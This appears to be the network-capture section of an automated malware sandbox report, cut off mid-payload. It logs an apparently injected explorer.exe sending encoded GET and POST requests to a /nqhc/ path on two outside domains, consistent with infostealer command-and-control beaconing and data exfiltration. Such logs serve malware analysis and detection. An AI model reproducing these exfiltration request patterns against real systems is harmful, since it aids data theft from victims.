Dec 5, 2022 15:15:30.234812021 CET	11260	OUT	Data Raw: 72 58 73 64 32 32 64 28 6f 35 48 57 71 42 6c 36 63 79 50 4c 47 6e 31 45 55 63 7a 39 5f 4e 57 57 70 4d 76 74 5f 30 68 63 47 6f 45 4e 62 71 71 74 59 5a 5f 61 5a 28 52 53 6b 79 7a 62 6b 42 6d 6d 33 6d 67 57 65 31 7a 63 6c 36 51 50 59 61 30 42 6b 65 Data Ascii: rXsd22d(o5HWqBl6cyPLGn1EUcz9_NWWpMvt_0hcGoENbqqtYZ_aZ(RSkyzbkBmm3mgWe1zcl6QPYa0BkeV8VMqP5jgYApgpl4DRKGlhnM9jIJTRudcUpj_F-TjzZIIAkI35Ljgo9qESsNHfh6041fKFpo0zjOBUxCjiYd_6-ri3MFDiUkEiCpYouEJMFb6fNtfye8PqKFtrWkSMa4U5Zxhta0FLuFjwgOE7APsL-lAy153xAMk
Dec 5, 2022 15:15:30.351489067 CET	11263	OUT	Data Raw: 36 4f 59 4b 57 32 6c 59 2d 76 50 42 2d 38 76 79 71 46 75 28 6c 50 38 28 5a 74 70 45 6e 7a 74 4a 53 35 46 6c 56 7a 73 78 49 71 4f 65 49 32 36 69 34 46 67 38 50 77 7a 77 6c 6f 6f 48 4b 38 46 74 48 30 71 4f 59 76 7a 72 44 77 74 31 6c 77 31 46 67 59 Data Ascii: 6OYKW2lY-vPB-8vyqFu(lP8(ZtpEnztJS5FlVzsxIqOeI26i4Fg8PwzwlooHK8FtH0qOYvzrDwt1lw1FgYh~RkFKyWjWVtbar53SLTWgsl5fUmWOS~pVSJC5yXj~z9m(5sHZXhB8M8vnV6JlTvGx343Oll3hidVSUikl9jyrENFo3ZFbJ6vj0Munk23rw6YPzMG40(QuKR7AgJUJYkMEFExMpvpujrI4-gtypeax-Tcx047Sc~Z
Dec 5, 2022 15:15:30.351578951 CET	11273	OUT	Data Raw: 43 61 59 51 68 70 4f 28 54 32 74 56 51 56 61 6e 4b 33 48 6f 78 68 59 66 62 34 74 5a 78 69 4f 61 56 43 6f 68 6b 51 79 56 2d 51 5f 46 61 37 79 57 6f 55 4d 54 6c 51 4c 4d 61 65 6e 54 35 72 57 32 42 48 64 7e 69 67 34 33 47 67 49 4d 37 52 42 34 46 62 Data Ascii: CaYQhpO(T2tVQVanK3HoxhYfb4tZxiOaVCohkQyV-Q_Fa7yWoUMTlQLMaenT5rW2BHd~ig43GgIM7RB4FbeWbo7ZXim~_a8O6JdFevwt-0YLB5gHBbM51mvAJ4KFV9mqVbbjcTUdv6bXJi2pRzt8yDz9boeKQ2DgLccGFjnGt~AxcwuMju6VEjnh8Cu9QrSW_~cVnLGz-pjvrgluitrNcNi3iTExT9GMwIOfiNLzufmpHQrrRRt
Dec 5, 2022 15:15:30.351654053 CET	11275	OUT	Data Raw: 38 56 66 47 79 33 38 7e 48 72 71 31 67 55 6b 55 79 6b 4a 55 48 4a 78 6a 72 42 73 4f 52 57 48 65 70 4f 59 4f 62 6a 49 34 41 31 4e 35 45 47 59 67 63 55 5a 6b 6a 28 5f 65 37 74 37 4e 44 51 33 44 38 73 53 41 54 68 47 48 53 38 6a 59 54 57 4c 76 5f 41 Data Ascii: 8VfGy38~Hrq1gUkUykJUHJxjrBsORWHepOYObjI4A1N5EGYgcUZkj(_e7t7NDQ3D8sSAThGHS8jYTWLv_AdY_xgSIDq(R8X85u-OIx2R68zmj0ZJjD8zDgrpTpJ9oCFDlNBKbcmhpcALcXoJl9JkxE0070CYXkctf4x8cJh2MN1IoX6bsl3Lehsmu2xVvVY0yqpvmNZNtMQX2Nizvyp3zkgFxqmyyJW4Lv9grI8WA73H_y8XhaT
Dec 5, 2022 15:15:30.351881981 CET	11282	OUT	Data Raw: 77 34 5f 44 4e 7a 77 4f 67 42 4d 50 71 42 4f 34 68 50 38 38 37 34 6b 68 52 72 4e 67 6e 32 4a 31 72 7a 45 51 79 52 71 73 72 76 71 73 43 6d 7a 6d 56 6e 4d 74 58 67 70 66 6f 41 45 65 44 37 54 37 72 71 57 64 66 4a 34 7a 57 70 37 55 54 70 76 5a 56 78 Data Ascii: w4_DNzwOgBMPqBO4hP8874khRrNgn2J1rzEQyRqsrvqsCmzmVnMtXgpfoAEeD7T7rqWdfJ4zWp7UTpvZVx92FkOMAKcB1HlzI(cmc5ozy1NWkQN(L3jYJba06Uk~6jE1exuKxHwZIlPAPSYEEVB1ltL6bUhoMBbA7nXXKdRxS6yXd7_BgUhaUIumX7A6ky9bOlzvctqLIJYR9fAfkHu2elswLhZyoX3WEPqYG68Vdttk3btgeg4
Dec 5, 2022 15:15:30.352003098 CET	11286	OUT	Data Raw: 50 4a 77 58 75 7a 41 4d 36 6c 6c 7e 6c 32 78 58 34 4a 4b 44 5f 64 54 6f 5f 70 70 79 34 48 39 56 50 61 50 59 54 76 72 64 61 42 37 63 44 58 53 39 52 53 67 70 2d 37 73 31 66 4f 4e 68 6a 32 41 37 51 48 45 75 7a 6b 56 6f 37 6b 35 5a 5f 6a 63 53 64 6a Data Ascii: PJwXuzAM6ll~l2xX4JKD_dTo_ppy4H9VPaPYTvrdaB7cDXS9RSgp-7s1fONhj2A7QHEuzkVo7k5Z_jcSdjQS_wSzsEF1-mGn8dF6ujMI0niaiqw6nc7Dw(BUffk3chpDu3ktZ3kfavWt-WxqeJ6zo7WbqpFxBbkj16o97HlsdqaZMReLw2Wb8U7AtbS0EftGYIk~-b7XyFmUXU-PMSP(8~Ele24jZDy5xMMV2VpIYpkxFXrob3s
Dec 5, 2022 15:15:30.468168974 CET	11289	OUT	Data Raw: 64 57 6b 4f 34 6a 44 35 49 77 42 33 6c 32 54 71 49 51 46 66 43 56 64 6a 43 66 46 61 31 4e 49 7e 78 59 36 4e 56 42 65 32 38 4c 54 4e 70 44 4b 7a 53 4f 74 52 6b 4c 76 51 44 54 77 62 79 38 52 33 4c 64 6b 6b 62 65 69 50 78 28 68 48 50 76 75 54 59 63 Data Ascii: dWkO4jD5IwB3l2TqIQFfCVdjCfFa1NI~xY6NVBe28LTNpDKzSOtRkLvQDTwby8R3LdkkbeiPx(hHPvuTYcqmtcMW58ppTX3mdAavYFi2_~oSqDZ4dM2LuVyorx96pi6jM5HAcJJzmhxTnHO(TPU(bWQMBDxjBG1oy5VLhf3OEOqY_OeWXzyM7QmOdyc30occgxZ01YAvPXkCYFe1hZ29q7KFjcQupsSObyll6fZlJ0C~gMlP23_
Dec 5, 2022 15:15:30.468250990 CET	11292	OUT	Data Raw: 62 33 58 44 78 33 4c 35 59 38 45 79 46 36 34 61 6f 73 6d 66 75 62 5f 6c 6d 70 46 58 2d 56 36 66 36 35 46 4e 75 79 4d 6b 6c 70 55 4d 39 44 44 38 4e 34 61 76 69 6f 7a 53 52 59 35 46 32 52 78 73 70 30 55 62 44 35 62 61 69 45 42 64 65 41 41 42 72 74 Data Ascii: b3XDx3L5Y8EyF64aosmfub_lmpFX-V6f65FNuyMklpUM9DD8N4aviozSRY5F2Rxsp0UbD5baiEBdeAABrt6UldsQCtcPqr6UB0ZLY1TuOw41E8hY8BrMysvjLG3c-Iqe-peJezWdVCULwUrW2rA7ucx0ZSopkRJtrl9cJzeYjdinn3mywyU(g6sZGKfAT4Z7WXuJzG-ROaylGNs04B8OV7YgUf7(e~Bnpn2n-jgm9pTNmEZhIJQ
Dec 5, 2022 15:15:30.468493938 CET	11300	OUT	Data Raw: 7a 43 57 67 53 66 52 73 64 37 4d 4c 53 6e 67 41 56 43 67 67 78 63 68 5a 4d 4b 37 6c 46 77 6c 6d 61 6c 73 34 73 37 74 43 30 74 5f 6a 30 6c 50 79 32 6a 6e 72 51 52 63 52 57 76 74 4f 46 74 32 70 50 44 6c 75 6c 4b 71 6a 65 67 43 77 62 28 37 77 4f 45 Data Ascii: zCWgSfRsd7MLSngAVCggxchZMK7lFwlmals4s7tC0t_j0lPy2jnrQRcRWvtOFt2pPDlulKqjegCwb(7wOEdEzTydvlKyscSuIG8XsKJrvbRkIUo(yEh6U7Cx3P5BffYcOG0pc6cLx9XJvUGRLEAnqpXMxwJCYSM~ro7uQrcndh5qUbvIRPJLNV_h4vAr-IPwfS8g6XhGnpHAketsnWDQ2~vPkJDz-NtqfEVyqVA(SLFlTf3qE5_
Dec 5, 2022 15:15:30.724493027 CET	11302	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:15:30 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13070 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a 62 64 67 a7 ea ee 4d 5b e4 4c 4f f7 ea d5 ab 57 ff d9 d7 6f cf df ff e3 c7 57 24 35 19 1f ee ee f6 ed 2f 89 99 1a 38 dc 28 87 70 2a 92 81 03 c2 fd e9 c2 d9 dd c9 15 8c d8 f5 c0 91 49 0f 0b 4c ae 7b be 2f 93 dc cb c0 17 fa b9 43 10 60 a7 9f 02 8d 87 bb 3b 84 ec f4 33 30 94 44 29 55 1a cc c0 f9 e9 fd 37 ee 89 b3 fc 24 68 06 03 67 cc 60 92 4b 65 1c 12 49 61 40 60 ea 84 c5 26 1d c4 30 66 11 b8 e5 a5 ae db dd d9 e9 3f 73 5d f2 82 73 c2 04 79 2b 80 5c bc 7a 4b 3a 5e cb 3b f6 02 e2 12 ca a4 06 e9 45 32 23 ae 3b b4 e9 4b 9d 94 0c a5 d1 4b 7d 84 64 22 86 6b 87 f8 77 53 13 10 a0 a8 91 6a 29 fb 4e d3 fd 17 df bf c5 df 83 79 f7 19 8c 8e 14 cb 0d 31 d3 1c 81 68 9e 73 16 51 c3 a4 f0 79 7c f8 51 4b 81 90 9c 6a 8d 6f 25 59 57 47 29 64 d4 4e b8 b3 73 e3 fc 47 d9 ef da 38 3d a7 d2 f8 83 ff c1 af 52 3c a9 12 a7 e1 fc 47 a2 68 9e 3a bd 5f 30 d9 36 c1 cc 97 0a 55 8f 54 91 85 af 99 36 36 87 c5 2b 00 4a 4e 29 37 10 a5 09 97 21 e5 56 a0 0f be f8 2d 8d 3e f8 cf c3 79 31 af 8a 99 81 cc e2 bc e2 90 e1 e4 2b 9d 6c fc 7b 7c df b6 c7 73 be 28 c8 a5 66 56 08 a7 17 54 4d 9c de 02 f8 67 08 7f a4 09 6c 8b 8b 79 76 53 98 f8 9d cc 6c 55 a1 f8 16 55 b7 58 86 e2 96 84 b6 d5 67 3e c1 6d e3 e9 3a dc c5 5a 56 a3 f5 c9 6a 54 e8 0b 4d 7e 90 86 7c 23 0b 11 6f 2b 4c 0d 80 f2 e4 0a c6 4c 16 7a 3b 89 96 c4 f9 75 59 9e b7 2a a1 82 fd 5e fa 7e 6b ab c8 d5 a2 7a 96 77 36 97 bc c7 64 f2 6d 99 bd f5 b2 1b 0e 97 89 5c 96 f5 fb 0c 45 7d 1b 7e 84 c8 6c 8b 32 c9 dd 48 0a 03 c2 7c f0 8b 9c 4b 1a eb 0f 7e ab d9 6a 7d f0 83 e0 83 1f 29 99 e7 10 bb af b1 d3 1b 7a a5 dc c0 cb 45 f2 a4 91 2d 04 16 4e 58 6c 52 34 45 a7 d9 70 52 60 49 6a 9c 5e a7 8d 9b 61 96 7c 39 cd d3 a0 6f 97 17 f4 24 83 3d 9f 40 98 57 55 7f c4 55 48 5d bc a6 22 29 4a fe 0e 08 f7 a7 0b 1b d4 3f 52 65 de 8e b6 1f 09 db 6b 66 c0 da 34 54 40 e3 48 15 59 b8 75 79 3d c3 a2 d2 7a f7 9e 2a 17 b6 c1 b6 eb 9b 11 da de 91 1b 4c bd 56 a4 bc b0 34 53 50 4f 5b 3c 8e f7 eb ed ee ce 4e df d7 91 62 b9 19 da f3 33 d7 25 2f 38 27 4c 90 b7 02 c8 c5 ab b7 c4 75 87 bb bb bb d5 d3 fb 94 69 62 c7 22 f8 2b 73 c3 32 f6 3b c4 64 c2 4c 4a 4c 0a e4 1f 92 6a 53 56 e5 bc 48 10 64 1c 9c 7a 41 40 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$bdgM[LOWoW$5/8(pIL{/C`;30D)U7$hg`KeIa@`&0f?s]sy+\zK:^;E2#;KK}d"kwSj)Ny1hsQy\|QKjo%YWG)dNsG8=R<Gh:_06UT66+JN)7!V->y1+l{\|s(fVTMglyvSlUUXg>m:ZVjTM~\|#o+LLz;uY^~kzw6dm\E}~l2H\|K~j})zE-NXlR4EpR`Ij^a\|9o$=@WUUH]")J?Rekf4T@HYuy=z*LV4SPO[<Nb3%/8'Luib"+s2;dLJLjSVHdzA@\R1lTq@kvCkC"!#YQiL,P+2#H
Dec 5, 2022 15:15:30.724586010 CET	11303	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f 7e d4 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|~'q)suBFD<uomZe~y:<MC5^dUQ"@f~h8LNx%(0h!95FTvb"t~+@M]&.CoS~ska5IF.vy%W+6lcmre#DV
Dec 5, 2022 15:15:30.724653959 CET	11304	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba 5f 45 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$E_EHk~o/Lo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Dec 5, 2022 15:15:30.724718094 CET	11306	IN	Data Raw: 0b dc 1e 83 94 c7 25 a4 2d cb 2a de 38 08 fa 6e da ab 3d 50 96 3d b2 8a 8c 19 37 2c 90 a5 58 16 b3 65 d5 9c a1 3d 0a a3 e0 b7 82 29 88 5d eb b4 b5 24 e6 76 3a cb 69 1c 33 91 2c 3c 5e 8a dc f4 da 9b d7 25 c5 85 e5 aa 35 43 a2 29 b0 24 35 25 c4 13 Data Ascii: %-*8n=P=7,Xe=)]$v:i3,<^%5C)$5%M;bJhEESqFQGReP[4l"j,(#hSrcT,o=%'gt/a@5:[W-A9u(Uf%g,I.UOb5.vQEcV^Fht(YFn7n8=!
Dec 5, 2022 15:15:30.724781990 CET	11307	IN	Data Raw: b5 4f 36 a4 9c 60 4a d7 6b 1e d9 94 db de 24 05 05 fb 1e d3 28 c4 54 16 c6 1d 71 b8 3e b8 49 68 6e 07 ea da 9c 50 c6 53 b2 92 21 27 64 48 3c ca 59 22 38 8c cc 0d 46 28 5a d8 9e cf 32 d4 93 09 97 09 ce 70 ed da 50 85 2f cd 3b 61 10 31 8e f2 28 b8 Data Ascii: O6`Jk$(Tq>IhnPS!'dH<Y"8F(Z2pP/;a1(bI:G//-G#M]i-$XKe+IH!$Z+.Xmf!];aI{dLNrrpr28ppgVlbi_&f:{9(>+)@{
Dec 5, 2022 15:15:30.724844933 CET	11308	IN	Data Raw: ca 1f 3e a2 87 17 9c 86 87 6f 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 5f d3 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d 4e Data Ascii: >oEuu1^(e_jKVm:oVuivuYb:nu9/GWrR]Ni=b\sKT[AP~NjD>4:Lfe',T?nK*PKYH\2KfqR^@DL,tr\|~NC&hs'YP2mT
Dec 5, 2022 15:15:30.724910975 CET	11310	IN	Data Raw: 7b 24 83 98 d1 c1 1e e5 7c 8f f8 c3 dd 3e 67 e2 8a e0 4e 06 7b 1a 9d 0e 3a 05 30 7b 84 c5 83 bd f1 c4 8d a9 ba 72 43 2e a3 2b b7 7c 75 4b 88 54 c1 68 b0 97 1a 93 f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 4f 72 37 92 c2 80 30 be 49 21 03 ed Data Ascii: {$\|>gN{:0{rC.+\|uKTh\|_)42dOr70I!X>LV{xOSc@]O0\|B)63?aT31.Q(AJL5;HP^Gf(;)A"{sY&f:tR-i+r+\8c
Dec 5, 2022 15:15:30.724975109 CET	11311	IN	Data Raw: 0f 95 49 ac 91 87 ff 3f fb fd df 56 0f b6 f6 76 b0 b5 99 83 7f bb f7 9f e2 de bc 50 39 07 77 0a 1c ab fe 55 1d ec 75 3b a7 cd e0 f4 a8 79 7c d2 69 db a6 de e9 c9 49 ab dd 6d 9d 76 82 e0 f8 a8 fb f9 fd ed 1d 23 6e e7 b8 d9 2d fb b4 b1 63 6b 85 c3 Data Ascii: I?VvP9wUu;y\|iImv#n-ck8A_\24&ZB*oS9Dj0Q_:=L&Ifip&/MZZ><dTh;Qq"%E yh31,d7#4?cP#
Dec 5, 2022 15:15:30.725038052 CET	11312	IN	Data Raw: aa 11 bb c6 e9 0b 5e 91 c5 b0 1b 2c ac 5c 27 d4 fb b9 2c 19 f7 39 5b e4 22 df cc 0d ba 0b a2 b3 20 59 3c 9b 69 0e 6e 54 68 23 97 a3 32 fc 08 91 b9 1f 47 b0 61 9f 92 54 c1 08 ed 64 4c ae 7b be af e4 94 72 03 51 9a 70 19 52 ee 45 32 73 86 df c9 0c Data Ascii: ^,\',9[" Y<inTh#2GaTdL{rQpRE2s>p6]CqZ3iEx4q;H~YV[04yW\|V'[2f4Gx$ohd+6+8dvWp,1Ic#rK7#F\j GCj
Dec 5, 2022 15:15:30.725106001 CET	11314	IN	Data Raw: 26 ed fb d5 6b 99 7d 27 75 6f 93 75 5b cd 56 cb 0f 02 7f 6f 48 7e 90 63 c8 42 50 c4 c6 c8 12 e2 1f 86 6b 5a b8 b7 91 91 9f 03 ad 79 6a d1 2e 20 37 9f 87 5d f3 c4 e2 bd 28 92 42 9b 4f 07 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 de d0 Data Ascii: &k}'uou[VoH~cBPkZyj. 7](BO;`YCUP>k@S+?]BB}]/})b9?1p?_BYr3J2 08>q,6CvwfxDyJEyATs@g#
Dec 5, 2022 15:15:30.841444969 CET	11315	IN	Data Raw: e4 a1 db 76 96 11 77 ca 82 f9 08 f9 54 d9 11 49 24 85 a1 0c 07 75 d6 b0 ca 67 f9 59 e8 36 9d 21 ea 5e 8a 3c d3 78 32 99 78 e3 09 1a 21 03 5d 0a 5c 1d fd 91 02 70 63 aa ae dc 89 54 71 ae 40 6b b7 7c f2 89 a1 2a 01 33 d8 bb 0c 39 15 57 7b c3 af 31 Data Ascii: vwTI$ugY6!^<x2x!]\pcTq@k\|39W{1Y?,f\^q}n<k#%9/rb#\JrWl,\?.JHS^-rWXzD,7LsYG:Uti/$I]"q?j#g

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	49850	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:32.371812105 CET	11315	OUT	GET /nqhc/?7nWHV=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&t0D=yFNHS0IX HTTP/1.1 Host: www.royaltechglobal.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:15:32.666039944 CET	11316	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 05 Dec 2022 14:15:32 GMT Server: nginx/1.23.2 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://royaltechglobal.com/nqhc/?7nWHV=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&t0D=yFNHS0IX X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	49852	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:48.023472071 CET	11324	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 66 61 4d 5f 6d 5a 4f 34 66 74 76 48 31 61 4f 4e 47 2d 55 4e 30 75 54 36 48 42 64 55 46 73 56 41 5a 72 46 4b 71 72 49 34 49 46 38 58 6b 56 71 49 44 53 6f 37 48 59 66 6d 76 6c 53 46 63 62 37 6c 66 7a 36 4c 4c 6a 4c 4e 7e 50 69 45 77 6f 67 37 30 34 5a 51 47 53 75 6c 4a 4f 5a 5f 47 33 41 6e 39 7a 78 65 63 33 34 76 69 56 75 78 43 30 5a 65 35 71 37 57 52 72 44 33 31 4d 6b 59 73 56 30 46 6e 77 75 55 63 75 54 48 35 37 42 54 73 5a 4a 36 6a 6e 6e 59 6a 61 34 5a 65 32 42 37 6b 64 47 49 7e 49 71 63 59 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=AkaMX_QkdLfVfaM_mZO4ftvH1aONG-UN0uT6HBdUFsVAZrFKqrI4IF8XkVqIDSo7HYfmvlSFcb7lfz6LLjLN~PiEwog704ZQGSulJOZ_G3An9zxec34viVuxC0Ze5q7WRrD31MkYsV0FnwuUcuTH57BTsZJ6jnnYja4Ze2B7kdGI~IqcYQ).
Dec 5, 2022 15:15:48.220068932 CET	11324	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:15:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.11.20	49853	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:50.214092016 CET	11325	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 65 36 38 5f 71 59 4f 34 4f 4e 76 45 7e 36 4f 4e 55 2d 55 4a 30 70 62 36 48 46 45 66 47 65 78 41 5a 4b 31 4b 70 76 6b 34 50 46 38 58 73 31 71 4e 63 43 6f 30 48 59 53 62 76 67 71 46 63 59 48 6c 65 41 79 4c 63 6a 4c 4b 78 76 69 44 33 6f 67 6d 28 59 5a 4f 47 53 54 45 4a 50 4e 5f 47 48 73 6e 38 78 70 65 57 47 34 73 7a 6c 75 33 56 6b 5a 66 75 36 37 69 52 72 65 4b 31 4f 30 6d 73 6a 55 46 6d 51 4f 55 64 75 54 59 78 4c 42 59 6a 35 49 5f 6b 6d 54 49 71 72 41 70 41 31 52 45 38 75 48 4a 37 4c 76 67 47 39 30 75 4d 47 64 53 30 6b 48 4a 46 76 4d 58 48 78 37 55 7e 64 6e 76 7e 61 59 71 63 35 6e 4c 28 56 5a 6c 35 4e 34 6a 74 6c 65 62 51 50 63 39 6d 61 77 35 6b 66 53 6e 72 6c 34 57 38 42 33 61 54 66 6d 72 49 72 6d 6c 42 68 65 45 7a 38 44 38 70 45 41 74 51 32 63 64 72 34 44 4b 42 46 30 58 4a 7a 41 6e 44 33 70 39 59 55 39 61 46 66 53 73 4f 48 6f 58 6f 52 42 36 35 34 65 7a 79 49 65 4a 62 6d 64 48 52 2d 4a 66 32 44 4d 66 63 52 69 6f 37 7a 6b 77 51 71 28 68 4a 6b 79 45 63 47 6d 6c 74 70 6d 6b 64 73 59 57 57 53 63 79 4a 33 5a 72 71 6f 69 67 28 70 36 75 42 39 34 5a 37 4a 64 7a 75 70 56 57 35 79 4f 43 6a 70 49 62 34 64 67 46 41 31 44 43 55 77 46 69 35 30 46 52 72 4e 4a 54 4b 75 32 38 43 37 72 74 70 6e 48 57 49 35 4a 35 6b 6e 73 61 66 5f 58 4e 6e 30 59 34 6d 43 65 74 58 71 65 42 4c 4e 30 33 31 34 46 68 5a 6a 64 39 61 64 7e 64 4e 4a 39 76 6f 77 49 4c 6d 5a 76 7a 68 52 6f 61 34 6d 58 51 46 41 77 68 4e 41 68 31 69 68 7a 52 44 4e 57 5a 4e 53 77 58 69 6b 63 62 6f 74 6f 32 41 34 66 65 72 4c 57 74 56 66 6a 53 31 74 4a 30 68 48 63 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=AkaMX_QkdLfVe68_qYO4ONvE~6ONU-UJ0pb6HFEfGexAZK1Kpvk4PF8Xs1qNcCo0HYSbvgqFcYHleAyLcjLKxviD3ogm(YZOGSTEJPN_GHsn8xpeWG4szlu3VkZfu67iRreK1O0msjUFmQOUduTYxLBYj5I_kmTIqrApA1RE8uHJ7LvgG90uMGdS0kHJFvMXHx7U~dnv~aYqc5nL(VZl5N4jtlebQPc9maw5kfSnrl4W8B3aTfmrIrmlBheEz8D8pEAtQ2cdr4DKBF0XJzAnD3p9YU9aFfSsOHoXoRB654ezyIeJbmdHR-Jf2DMfcRio7zkwQq(hJkyEcGmltpmkdsYWWScyJ3Zrqoig(p6uB94Z7JdzupVW5yOCjpIb4dgFA1DCUwFi50FRrNJTKu28C7rtpnHWI5J5knsaf_XNn0Y4mCetXqeBLN0314FhZjd9ad~dNJ9vowILmZvzhRoa4mXQFAwhNAh1ihzRDNWZNSwXikcboto2A4ferLWtVfjS1tJ0hHc.
Dec 5, 2022 15:15:50.414236069 CET	11326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:15:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.11.20	49855	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:52.401490927 CET	11345	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 65 36 38 5f 71 59 4f 34 4f 4e 76 45 7e 36 4f 4e 55 2d 55 4a 30 70 62 36 48 46 45 66 47 65 35 41 59 38 70 4b 71 49 77 34 4f 46 38 58 69 56 71 4d 63 43 6f 70 48 5a 36 66 76 67 33 77 63 64 44 6c 65 52 69 4c 63 52 7a 4b 68 5f 69 47 34 49 67 34 30 34 59 4e 47 53 76 51 4a 50 5a 76 47 30 77 6e 39 32 56 65 63 52 73 76 37 56 75 78 56 6b 5a 62 39 71 37 71 52 72 4b 61 31 4f 34 6d 73 6c 63 46 6e 69 47 55 66 39 37 59 38 37 42 58 34 70 49 4f 75 47 53 68 71 72 55 62 41 31 52 79 38 73 72 4a 37 4d 37 67 48 36 67 70 4d 6d 64 53 33 6b 47 66 42 76 49 62 48 78 58 63 7e 63 6a 76 7e 64 63 71 61 5a 6e 4c 